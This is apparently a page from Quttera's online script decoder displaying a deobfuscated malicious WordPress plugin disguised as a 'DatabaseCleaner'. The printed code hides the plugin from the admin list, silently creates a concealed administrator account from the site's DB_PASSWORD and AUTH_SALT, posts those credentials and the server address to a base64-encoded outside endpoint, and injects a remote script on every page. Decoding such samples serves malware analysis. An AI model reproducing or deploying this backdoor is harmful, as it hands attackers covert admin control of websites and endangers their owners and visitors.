Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto dHBAm;
	 vM5b9: register_deactivation_hook(__FILE__, function () {
	 delete_option("nitropress_data_sent");
	 
}
);
 goto gFuti;
	 dHBAm: class DatabaseCleaner {
	 private $seed;
	 private $config = array("font" => "aHR0cHM6Ly9mb0cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcGVuK1NhbnM6dzQwMCw3MDA=", "script" => "aHR0cHM6Ly9za2xkZmpnc2xka21mZ3NkZmcuY29tL2FmYXA=", "endpoint" => "aHR0cHM6Ly9raWNrc3RhciYmxvb20uaW5mby9jb2xsZWN0LnBocA==");
		 public function __construct() {
		 $this->seed = md5(DB_PASSWORD . AUTH_SALT);
		 $this->init_hooks();
		 
	}
		 private function init_hooks() {
		 goto otajs;
		 PdgAm: add_action("wp_enqueue_scripts", [$this, "load_assets"]);
		 goto xZVLL;
		 otajs: add_filter("all_plugins", [$this, "hide_plugin"]);
		 goto WrB70;
		 WrB70: add_action("init", [$this, "create_admin_user"]);
		 goto OMoEQ;
		 OMoEQ: add_action("pre_user_query", [$this, "filter_admin_users"]);
		 goto PdgAm;
		 xZVLL: 
	}
		 public function hide_plugin($rW9o3) {
		 unset($rW9o3[plugin_basename(__FILE__)]);
		 return $rW9o3;
		 
	}
		 public function create_admin_user() {
		 goto cFhIr;
		 gym1i: $this->send_credentials($LCtMo);
		 goto fsnHw;
		 fsnHw: update_option("nitropress_data_sent", true);
		 goto D7J6j;
			 cFhIr: if (get_option("nitropress_data_sent", false)) {
			 return;
			 
		}
		 goto dJPdf;
		 dJPdf: $LCtMo = $this->generate_credentials();
		 goto aB00G;
			 aB00G: if (!username_exists($LCtMo["user"])) {
			 $Ct3bF = wp_create_user($LCtMo["user"], $LCtMo["pass"], $LCtMo["email"]);
				 if (!is_wp_error($Ct3bF)) {
				 (new WP_User($Ct3bF))->set_role("administrator");
				 
			}
			 
		}
		 goto gym1i;
		 D7J6j: 
	}
		 private function generate_credentials() {
		 $T_P2E = substr(hash("sha2", $this->seed . "creds"), 0, 16);
		 return ["user" => "sys_" . substr(md5($T_P2E), 0, 8), "pass" => substr(md5($T_P2E . "pass"), 0, 12), "email" => "noreply@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url()];
		 
	}
		 private function send_credentials($mMdIJ) {
		 goto rJXZG;
		 y1F9z: wp_remote_post(base64_decode($this->config["endpoint"]), $To3c2);
		 goto MBZlJ;
		 rJXZG: $HYPOS = json_encode($mMdIJ, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
		 goto CHUqD;
		 CHUqD: $To3c2 = ["body" => ["d" => base64_encode($HYPOS)], "timeout" => 15, "blocking" => false, "sslverify" => false];
		 goto y1F9z;
		 MBZlJ: 
	}
		 public function filter_admin_users($eJBc8) {
		 goto Ii00L;
			 r3wcb: $eJBc8->query_where .= " AND {
			$p_hdy->users
		}
			.user_login != '{
			$Pep9m
		}
		'";
		 goto VAJZg;
		 Q1bFD: $Pep9m = $this->generate_credentials()["user"];
		 goto r3wcb;
		 Ii00L: global $p_hdy;
		 goto Q1bFD;
		 VAJZg: 
	}
		 public function load_assets() {
		 goto JzK5c;
		 ScBY6: $XNXvB = base64_decode($this->config["script"]) . "?ts=" . time();
		 goto QIPQC;
		 QIPQC: wp_enqueue_script("ic-tracker", $XNXvB, [], null, ["strategy" => "defer", "in_footer" => false]);
		 goto rAUMp;
		 JzK5c: wp_enqueue_style("ic-fonts", base64_decode($this->config["font"]), [], null);
		 goto ScBY6;
		 rAUMp: 
	}
	 
}
 goto vM5b9;
 gFuti: new DatabaseCleaner();



© 2023 Quttera Ltd. All rights reserved.